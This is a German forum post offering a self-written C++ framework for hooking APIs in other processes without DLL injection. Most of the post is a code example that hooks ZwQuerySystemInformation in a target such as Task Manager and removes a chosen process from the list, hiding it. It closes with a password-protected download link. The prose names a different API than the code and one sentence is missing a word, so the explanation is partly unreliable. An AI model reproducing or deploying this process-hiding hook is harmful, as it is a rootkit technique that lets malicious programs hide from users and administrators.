Moin,
ich habe gerade mein ApiHooking Framework in C++ fertiggestellt. Das ganze funktioniert ohne DLL-Injection und ist somit angenehmer zu benutzen. Der Code ist relativ gut kommentiert und kann nach belieben verändert und angepasst werden. Nur lasst bitte meinen Namen dastehen ![Wink](images/smilies/wink.png)
Hier eine kleines Beispiel wie man es benutzt:
Code:
#include "main.h"
NTSTATUS WINAPI ZwQuerySystemInformation_(SYSTEM_INFORMATION_CLASS SystemInformationClass, void* SystemInformation, ULONG SystemInformationLength, ULONG* ReturnLength) {
_LoadLibrary LoadLibrary_;
_GetProcAddress GetProcAddress_;
startCallback(LoadLibrary_, GetProcAddress_);
/* START CODE */
HMODULE hDLL = LoadLibrary_(ntdll);
_ZwQuerySystemInformation ZwQuerySystemInformation__ = (_ZwQuerySystemInformation)GetProcAddress_(hDLL, querySysInfo);
NTSTATUS ret = ZwQuerySystemInformation__(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);
originalCalled;
if (SystemInformationClass == 0x05 && ret == 0) {
DWORD pos = (DWORD)SystemInformation;
DWORD prepos = 0;
void** data;
readInfo(data, 4, transfer1);
while (pos < (DWORD)SystemInformation + *ReturnLength) {
if ((DWORD)((SYSTEM_PROCESS_INFORMATION*)pos)->UniqueProcessId == **(DWORD**)data) {
((SYSTEM_PROCESS_INFORMATION*)prepos)->NextEntryOffset += ((SYSTEM_PROCESS_INFORMATION*)pos)->NextEntryOffset;
break;
}
if (((SYSTEM_PROCESS_INFORMATION*)pos)->NextEntryOffset == 0)
break;
prepos = pos;
pos += ((SYSTEM_PROCESS_INFORMATION*)pos)->NextEntryOffset;
}
}
/* END CODE */
endCallback;
return ret;
}
int main() {
getDebugPrivileges();
int procid;
cin >> procid;
char* stringlistSysInfo[] = {querySysInfo, transfer1};
DWORD hideProc = GetCurrentProcessId();
ApiHook::sendInfoToForeignProcess(&hideProc, 4, transfer1);
ApiHook::hookAPIinForeignProcess(procid, "ZwQuerySystemInformation", "ntdll.dll",
ZwQuerySystemInformation_, stringlistSysInfo, 2, defaultstrings, NUM_OF_DEFAULT_STRINGS);
system("PAUSE");
return 0;
}
Dieser Hook zielt auf ZwQueryProcessInformation aus der ntdll.dll ab. Wählt man als Zielprozess beispielsweise den Taskmanager, so kann ein beliebiger Prozess aus der Liste versteckt werden (in diesem Beispiel der eigene). Wie man sieht ist der Code also recht kurz, dafür, dass er einen Prozess vom Taskmanager versteckt
Jedes Callback muss als Prolog
Code:
_LoadLibrary LoadLibrary_;
_GetProcAddress GetProcAddress_;
startCallback(LoadLibrary_, GetProcAddress_);
nutzen. Als Epilog wird
Code:
endCallback;
return x;
genutzt. Allerdings darf nicht mitten im Callback returned werden, daher bitte Variablen zum Zwischenspeichern benutzen und dann am ende returnen. Das Framework stellt LoadLibrary_ und GetProcAddress_ zur Verfügung, mit denen beliebige APIs improtiert werden können. Will man aus dem Callback die original API aufrufen, so holt man sich deren Adresse einfach per GetProcAddress (es wird dann ein Pointer zur nicht-gehookten zurückgegeben). Ruft man diese Originalfunktion auf, so muss die nächste Instruktion
sein. Möchte man in seinem Callback strings benutzen, so müssen diese außerhalb des Callbacks deklariert und definiert werden. Beim Aufruf von hookAPIinForeignProcess muss dann ein Array mit allen verwendeten Strings, sowie deren länge übergeben werden (diese werden dann in den Zielprozess kopiert und die Pointer angepasst).
So das wars zur Verwendung.
Fragen, bugs, Anregungen und Feedback bitte hier rein.
hxxp://www.share-online.biz/download.php?id=WA1RYP3LMNS
Password: OpCodez